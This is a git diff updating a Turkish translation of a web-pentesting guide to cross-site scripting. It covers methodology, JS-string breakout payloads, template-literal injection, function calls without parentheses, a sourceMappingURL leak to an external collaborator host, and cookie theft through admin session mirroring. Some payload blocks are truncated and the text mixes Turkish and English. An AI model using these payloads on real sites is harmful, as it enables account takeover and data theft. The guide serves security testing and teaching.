diff --git a/src/pentesting-web/xss-cross-site-scripting/README.md b/src/pentesting-web/xss-cross-site-scripting/README.md
index 439a3cdc3..4fcf7bef8 100644
--- a/src/pentesting-web/xss-cross-site-scripting/README.md
+++ b/src/pentesting-web/xss-cross-site-scripting/README.md
@@ -4,32 +4,32 @@
## Metodoloji
-1. **Kontrol ettiğiniz herhangi bir değerin** (_parametreler_, _yol_, _başlıklar_?, _çerezler_?) HTML'de **yansıtılıp** **JS** kodu tarafından **kullanılıp kullanılmadığını** kontrol edin.
-2. **Yansıtıldığı/kullanıldığı bağlamı** bulun.
-3. Eğer **yansıtılmışsa**:
-1. **Hangi sembolleri kullanabileceğinizi** kontrol edin ve buna bağlı olarak yükü hazırlayın:
-1. **Ham HTML'de**:
-1. Yeni HTML etiketleri oluşturabilir misiniz?
-2. `javascript:` protokolünü destekleyen olayları veya nitelikleri kullanabilir misiniz?
-3. Koruma mekanizmalarını aşabilir misiniz?
-4. HTML içeriği herhangi bir istemci tarafı JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu, [**İstemci Tarafı Şablon Enjeksiyonu**](../client-side-template-injection-csti.md) istismar edebilirsiniz.
-5. JS kodu çalıştıran HTML etiketleri oluşturamıyorsanız, [**Dangling Markup - HTML scriptsiz enjeksiyonu**](../dangling-markup-html-scriptless-injection/index.html) istismar edebilir misiniz?
-2. Bir **HTML etiketinin** içinde:
-1. Ham HTML bağlamına çıkabilir misiniz?
-2. JS kodunu çalıştırmak için yeni olaylar/nitelikler oluşturabilir misiniz?
-3. Sıkıştığınız nitelik JS yürütmesini destekliyor mu?
-4. Koruma mekanizmalarını aşabilir misiniz?
-3. **JavaScript kodunun** içinde:
-1. ``** etiketleri arasında, bir `.js` dosyası içinde veya bir öznitelik içinde **`javascript:`** protokolü kullanılarak yansıtılır:
+Bu durumda girdiniz bir HTML sayfasının **``** etiketleri arasında, bir `.js` dosyası içinde veya **`javascript:`** protokolünü kullanan bir öznitelik içinde yansıtılır:
-- Eğer **``** etiketleri arasında yansıtılıyorsa, girdiniz her türlü tırnak içinde olsa bile, `` enjekte etmeyi deneyebilirsiniz ve bu bağlamdan çıkabilirsiniz. Bu, **tarayıcının önce HTML etiketlerini** ayrıştırmasından ve ardından içeriği işlemesinden dolayı çalışır; bu nedenle, enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmeyecektir.
-- Eğer **bir JS dizesi içinde** yansıtılıyorsa ve son hile işe yaramıyorsa, dizeden **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata varsa, çalıştırılmayacaktır):
+- Eğer yansıma **``** etiketleri arasındaysa, girdiniz herhangi bir tür tırnak içinde olsa bile `` enjekte etmeyi ve bu bağlamdan kaçmayı deneyebilirsiniz. Bu, çünkü **tarayıcı önce HTML etiketlerini parse eder** ve sonra içeriği işler; dolayısıyla enjekte ettiğiniz `` etiketinin HTML kodu içinde olduğunu fark etmez.
+- Eğer yansıma **inside a JS string** içinde ise ve son hile işe yaramıyorsa, string'ten **çıkmanız**, kodunuzu **çalıştırmanız** ve JS kodunu **yeniden oluşturmanız** gerekir (herhangi bir hata olursa, çalıştırılmaz:
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
-- Eğer şablon dizeleri içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadeleri** **gömebilirsiniz**: `` var greetings = `Hello, ${alert(1)}` ``
-- **Unicode kodlama** geçerli **javascript kodu** yazmak için çalışır:
+- Eğer template literals içinde yansıtılıyorsa, `${ ... }` sözdizimini kullanarak **JS ifadeleri** yerleştirebilirsiniz: `` var greetings = `Hello, ${alert(1)}` ``
+- **Unicode encode** geçerli javascript kodu yazmak için işe yarar:
```javascript
alert(1)
alert(1)
@@ -85,29 +85,29 @@ alert(1)
```
#### Javascript Hoisting
-Javascript Hoisting, **kullanıldıktan sonra fonksiyonları, değişkenleri veya sınıfları tanımlama fırsatını ifade eder, böylece XSS'nin tanımlanmamış değişkenler veya fonksiyonlar kullandığı senaryoları kötüye kullanabilirsiniz.**\
-**Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:**
+Javascript Hoisting, fonksiyonları, değişkenleri veya sınıfları kullanıldıktan sonra bildirmenize olanak tanıyan bir durumdur; bu sayede bir XSS'in bildirimi yapılmamış değişkenler veya fonksiyonlar kullandığı senaryolardan faydalanabilirsiniz.**\
+**Daha fazla bilgi için şu sayfayı inceleyin:**
{{#ref}}
js-hoisting.md
{{#endref}}
-### Javascript Fonksiyonu
+### Javascript Function
-Birçok web sayfası, **çalıştırılacak fonksiyonun adını parametre olarak kabul eden uç noktalar içerir.** Gerçek hayatta görülen yaygın bir örnek: `?callback=callbackFunc`.
+Birçok web sayfası, çalıştırılacak fonksiyonun adını parametre olarak kabul eden endpointlere sahiptir. Gerçekte sık gördüğünüz yaygın bir örnek şuna benzer: `?callback=callbackFunc`.
-Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalışılmadığını anlamanın iyi bir yolu, **parametre değerini değiştirmektir** (örneğin 'Vulnerable' olarak) ve konsolda şu hataları aramaktır:
+Kullanıcı tarafından doğrudan verilen bir şeyin çalıştırılmaya çalışılıp çalıştırılmadığını anlamanın iyi bir yolu, parametre değerini değiştirmek (ör. 'Vulnerable' yapmak) ve konsolda şu tür hatalara bakmaktır:
.png>)
-Eğer zayıfsa, sadece değeri göndererek **bir uyarı tetikleyebilirsiniz:** **`?callback=alert(1)`**. Ancak, bu uç noktaların genellikle **içeriği doğrulaması** ve yalnızca harfler, sayılar, noktalar ve alt çizgiler (**`[\w\._]`**) gibi karakterlere izin vermesi oldukça yaygındır.
+Eğer zafiyet varsa, sadece değeri göndererek bir uyarı tetikleyebilirsiniz: **`?callback=alert(1)`**. Ancak, bu endpointlerin içeriği genellikle sadece harf, rakam, nokta ve alt çizgiye izin verecek şekilde doğruladığını görmek yaygındır (**`[\w\._]`**).
-Ancak, bu sınırlamaya rağmen bazı eylemleri gerçekleştirmek hala mümkündür. Bunun nedeni, bu geçerli karakterleri kullanarak **DOM'daki herhangi bir öğeye erişebilmenizdir**:
+Ancak, bu sınırlama olsa bile bazı işlemleri gerçekleştirmek hâlâ mümkündür. Bunun nedeni, geçerli karakterleri DOM'daki herhangi bir elemana erişmek için kullanabilmenizdir:
.png>)
-Bunun için bazı yararlı fonksiyonlar:
+Bunun için bazı faydalı fonksiyonlar:
```
firstElementChild
lastElementChild
@@ -115,11 +115,12 @@ nextElementSibiling
lastElementSibiling
parentElement
```
-Ayrıca **Javascript fonksiyonlarını** doğrudan tetiklemeyi deneyebilirsiniz: `obj.sales.delOrders`.
+You can also try to **trigger Javascript functions** directly: `obj.sales.delOrders`.
-Ancak, genellikle belirtilen fonksiyonu yürüten uç noktalar, çok ilginç DOM'a sahip olmayan uç noktalardır, **aynı kökenden diğer sayfalar** daha fazla işlem yapmak için **daha ilginç bir DOM** içerecektir.
+However, usually the endpoints executing the indicated function are endpoints without much interesting DOM, **other pages in the same origin** will have a **more interesting DOM** to perform more actions.
+
+Therefore, in order to **abuse this vulnerability in a different DOM** the **Same Origin Method Execution (SOME)** exploitation was developed:
-Bu nedenle, **farklı bir DOM'da bu zafiyeti istismar etmek için** **Same Origin Method Execution (SOME)** istismarı geliştirilmiştir:
{{#ref}}
some-same-origin-method-execution.md
@@ -127,36 +128,39 @@ some-same-origin-method-execution.md
### DOM
-**JS kodu** bir **saldırgan tarafından kontrol edilen** bazı **verileri** **güvensizce** kullanmaktadır, örneğin `location.href`. Bir saldırgan, bunu keyfi JS kodu yürütmek için istismar edebilir.
+There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.
+
{{#ref}}
dom-xss.md
{{#endref}}
-### **Evrensel XSS**
+### **Universal XSS**
+
+These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.\
+Some **examples**:
-Bu tür XSS'ler **her yerde** bulunabilir. Sadece bir web uygulamasının istemci istismarı ile değil, **herhangi bir** **bağlamda** bağımlıdır. Bu tür **keyfi JavaScript yürütme** bile **RCE** elde etmek, istemcilerde ve sunucularda **keyfi** **dosyaları** **okumak** ve daha fazlası için istismar edilebilir.\
-Bazı **örnekler**:
{{#ref}}
server-side-xss-dynamic-pdf.md
{{#endref}}
+
{{#ref}}
../../network-services-pentesting/pentesting-web/electron-desktop-apps/
{{#endref}}
-## WAF atlatma kodlama resmi
+## WAF bypass encoding image
.jpg>)
-## Ham HTML içinde enjekte etme
+## Injecting inside raw HTML
-Girdiğiniz değer **HTML sayfası içinde** yansıtıldığında veya bu bağlamda HTML kodunu kaçırıp enjekte edebiliyorsanız, yapmanız gereken **ilk** şey `<` karakterini yeni etiketler oluşturmak için istismar edip edemeyeceğinizi kontrol etmektir: O **karakteri** **yansıtmayı** deneyin ve **HTML kodlaması** yapılıp yapılmadığını veya **silinip silinmediğini** ya da **değişiklik olmadan yansıtılıp yansıtılmadığını** kontrol edin. **Sadece son durumda bu durumu istismar edebileceksiniz**.\
-Bu durumlar için ayrıca **[**Client Side Template Injection**](../client-side-template-injection-csti.md)**'ı da **aklınızda bulundurun**.\
-_**Not: Bir HTML yorumu `-->` veya `--!>` ile kapatılabilir.**_
+When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.\
+For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
+_**Note: A HTML comment can be closed using\*\***\***\*`-->`\*\***\***\*or \*\***`--!>`\*\***
-Bu durumda ve eğer kara/beyaz listeleme kullanılmıyorsa, şu tür yükleri kullanabilirsiniz:
+In this case and if no black/whitelisting is used, you could use payloads like:
```html
` etiketleri arasında veya JS kodu çalıştırabilen HTML olayları arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **yansıtılacak**.
+Bu durumda sizin **girdiniz** bir `.js` dosyasındaki JS kodu içinde veya `` etiketleri arasında ya da JS kodu çalıştırabilecek HTML event'leri arasında veya `javascript:` protokolünü kabul eden öznitelikler arasında **yansıtılacaktır**.
-### \` içinde yer alıyorsa, `` içine yansıtılıyorsa, kolayca `
```
-Not edin ki bu örnekte **tek tırnağı bile kapatmadık**. Bunun nedeni **HTML ayrıştırmasının önce tarayıcı tarafından gerçekleştirilmesidir**, bu da sayfa öğelerinin, script blokları da dahil olmak üzere, tanımlanmasını içerir. JavaScript'in gömülü scriptleri anlamak ve yürütmek için ayrıştırılması ancak sonrasında gerçekleştirilir.
+Bu örnekte **tek tırnağı bile kapatmadığımızı** unutmayın. Bunun nedeni, **HTML ayrıştırmasının (parsing) önce tarayıcı tarafından yapılmasıdır**, bu işlem sayfa öğelerinin, script blokları dahil olmak üzere, tanımlanmasını içerir. Gömülü scriptleri anlamak ve çalıştırmak için JavaScript'in ayrıştırılması ise ancak sonrasında gerçekleştirilir.
### JS kodu içinde
-Eğer `<>` temizleniyorsa, yine de **diziyi kaçırabilirsiniz** ve **rastgele JS çalıştırabilirsiniz**. **JS sözdizimini düzeltmek** önemlidir, çünkü herhangi bir hata varsa, JS kodu yürütülmeyecektir:
+Eğer `<>` temizleniyorsa, girdinizin **bulunduğu** yerde string'i **escape ederek** yine de **rastgele JS çalıştırabilirsiniz**. JS sözdizimini **düzeltmek** önemlidir; çünkü herhangi bir hata varsa JS kodu çalıştırılmaz:
```
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```
-### Şablon Literalleri \`\`
+#### JS-in-JS string break → inject → repair pattern
-Tekil ve çift tırnakların yanı sıra **dizeleri** oluşturmak için JS ayrıca **ters tırnakları** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **gömülü JS ifadeleri** sağlamalarına olanak tanıdığı için şablon literalleri olarak bilinir.\
-Bu nedenle, eğer girdinizin bir JS dizesi içinde **yansıtıldığını** bulursanız ve bu dize ters tırnak kullanıyorsa, **keyfi JS kodu** çalıştırmak için `${ ... }` sözdizimini kötüye kullanabilirsiniz:
+Kullanıcı girdisi tırnak işaretleriyle çevrili bir JavaScript dizesinin içinde (ör. sunucu tarafı echo ile inline script içine) yerleştiğinde, dizeyi sonlandırabilir, kod enjekte edebilir ve sözdizimini geçerli tutmak için onarabilirsiniz. Genel iskelet:
+```
+" // end original string
+; // safely terminate the statement
+ // attacker-controlled JS
+; a = " // repair and resume expected string/statement
+```
+Zafiyetli parametrenin bir JS stringine yansıtıldığı durum için örnek URL deseni:
+```
+?param=test";;a="
+```
+Bu, HTML context'e dokunmaya gerek kalmadan saldırgan JS'i çalıştırır (pure JS-in-JS). Filtreler anahtar kelimeleri engellediğinde aşağıdaki blacklist bypasses ile birleştirin.
-Bu, şu şekilde **kötüye kullanılabilir**:
+### Template literals ``
+
+Tek tırnak ve çift tırnakların dışında **strings** oluşturmak için JS ayrıca **backticks** **` `` `** kabul eder. Bu, `${ ... }` sözdizimini kullanarak **embedded JS expressions** yazmanıza izin verdiği için template literals olarak bilinir.\
+Bu yüzden, girdinizin backticks kullanan bir JS stringi içinde **reflected** olarak yer aldığını görürseniz, `${ ... }` sözdizimini kötüye kullanarak **arbitrary JS code** çalıştırabilirsiniz:
+
+Bu şu şekilde **kötüye kullanılabilir**:
```javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
```
@@ -506,22 +525,37 @@ return loop
}
loop``
```
-### Kodun kodlanmış yürütülmesi
+### Encode edilmiş code yürütülmesi
```html
This is a 1 line comment, but "-->" must to be at the beggining of the first line
```
-**JavaScript yeni satırlar (şuradan** [**JavaScript yeni satır**](#javascript-new-lines) **hile)**
+**JavaScript new lines (buradan** [**JavaScript new line**](#javascript-new-lines) **trick)**
```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
@@ -594,14 +628,14 @@ console.log(log)
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
```
-**Yorum içinde Javascript**
+**Javascript bir yorumun içinde**
```javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
```
-**Parantezsiz JavaScript**
+**JavaScript parantez olmadan**
```javascript
// By setting location
window.location='javascript:alert\x281\x29'
@@ -680,7 +714,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
-**Rastgele fonksiyon (alert) çağrısı**
+**Keyfi fonksiyon (alert) çağrısı**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@@ -740,64 +774,64 @@ top['al\x65rt'](1)
top[8680439..toString(30)](1)
```
-## **DOM zafiyetleri**
+## **DOM vulnerabilities**
-**JS kodu**, bir saldırgan tarafından kontrol edilen **güvensiz verileri** kullanıyor, örneğin `location.href`. Bir saldırgan, bunu kullanarak rastgele JS kodu çalıştırabilir.\
-**Açıklamanın uzatılması nedeniyle** [**DOM zafiyetleri bu sayfaya taşındı**](dom-xss.md)**:**
+Bir saldırgan tarafından kontrol edilen verileri (ör. `location.href`) güvensiz şekilde kullanan **JS code** vardır. Bir saldırgan bunu keyfi JS kodu çalıştırmak için kötüye kullanabilir.\
+**açıklamanın genişlemesi nedeniyle** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**
{{#ref}}
dom-xss.md
{{#endref}}
-Orada **DOM zafiyetlerinin ne olduğunu, nasıl tetiklendiğini ve nasıl istismar edileceğini** detaylı bir şekilde bulacaksınız.\
-Ayrıca, **bahsedilen yazının sonunda** [**DOM Clobbering saldırıları**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulmayı unutmayın.
+Orada DOM vulnerabilities'in ne olduğu, nasıl tetiklendiği ve nasıl exploit edileceği hakkında ayrıntılı bir **açıklama** bulacaksınız.\
+Ayrıca, bahsedilen yazının **sonunda** [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering) hakkında bir açıklama bulabileceğinizi unutmayın.
-### Self-XSS'i Yükseltme
+### Upgrading Self-XSS
### Cookie XSS
-Eğer bir yükü bir çerez içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'dir. Ancak, eğer **XSS için savunmasız bir alt alan adı** bulursanız, bu XSS'i kullanarak tüm alan adında bir çerez enjekte edebilir ve ana alan adında veya çerez XSS'e savunmasız diğer alt alan adlarında çerez XSS'i tetikleyebilirsiniz. Bunun için çerez fırlatma saldırısını kullanabilirsiniz:
+Eğer payload'ı bir cookie içinde göndererek bir XSS tetikleyebiliyorsanız, bu genellikle bir self-XSS'tir. Ancak, eğer bir **vulnerable subdomain to XSS** bulursanız, bu XSS'i kötüye kullanarak tüm domaine bir cookie enjekte edebilir ve böylece ana domainde veya cookie XSS'e karşı savunmasız diğer alt alan adlarında cookie XSS'i tetikleyebilirsiniz. Bunun için cookie tossing attack kullanabilirsiniz:
{{#ref}}
../hacking-with-cookies/cookie-tossing.md
{{#endref}}
-Bu tekniğin harika bir istismarını [**bu blog yazısında**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html) bulabilirsiniz.
+You can find a great abuse of this technique in [**this blog post**](https://nokline.github.io/bugbounty/2024/06/07/Zoom-ATO.html).
-### Oturumunuzu yöneticilere gönderme
+### Sending your session to the admin
-Belki bir kullanıcı profiline yöneticilerle paylaşabilir ve eğer self XSS kullanıcının profilinde ise ve yönetici buna erişirse, zafiyeti tetikleyecektir.
+Belki bir kullanıcı profilini admin ile paylaşabiliyordur ve eğer self XSS kullanıcının profilindeyse ve admin bu profili açarsa, zafiyeti tetiklemiş olur.
-### Oturum Yansıtma
+### Session Mirroring
-Eğer bazı self XSS bulursanız ve web sayfasında **yöneticiler için oturum yansıtma** varsa, örneğin müşterilerin yardım istemesine izin veriyorsa, yönetici size yardımcı olmak için sizin oturumunuzda gördüğünüzü kendi oturumundan görecektir.
+Eğer bazı self XSS'ler bulur ve web sayfası yöneticiler için **session mirroring** sağlıyorsa — örneğin müşterilerin yardım istemesine izin verip adminin sizin oturumunuzda gördüklerinizi kendi oturumundan görmesini sağlıyorsa — yöneticinin sizin self XSS'inizi tetiklemesini sağlayıp onun çerezlerini/oturumunu çalabilirsiniz.
-**Yöneticiye self XSS'inizi tetikletip** çerezlerini/oturumunu çalabilirsiniz.
+You could make the **administrator trigger your self XSS** and steal his cookies/session.
-## Diğer Bypass'lar
+## Other Bypasses
-### Normalleştirilmiş Unicode
+### Normalised Unicode
-**Yansıtılan değerlerin** sunucuda (veya istemci tarafında) **unicode normalleştirilip normalleştirilmediğini** kontrol edebilir ve bu işlevselliği korumaları aşmak için istismar edebilirsiniz. [**Burada bir örnek bulun**](../unicode-injection/index.html#xss-cross-site-scripting).
+Sunucu (veya istemci tarafında) **reflected values**'ın **unicode normalized** edilip edilmediğini kontrol edebilir ve bu işlevi korumaları atlatmak için kötüye kullanabilirsiniz. [**Find an example here**](../unicode-injection/index.html#xss-cross-site-scripting).
-### PHP FILTER_VALIDATE_EMAIL bayrağı Bypass
+### PHP FILTER_VALIDATE_EMAIL flag Bypass
```javascript
">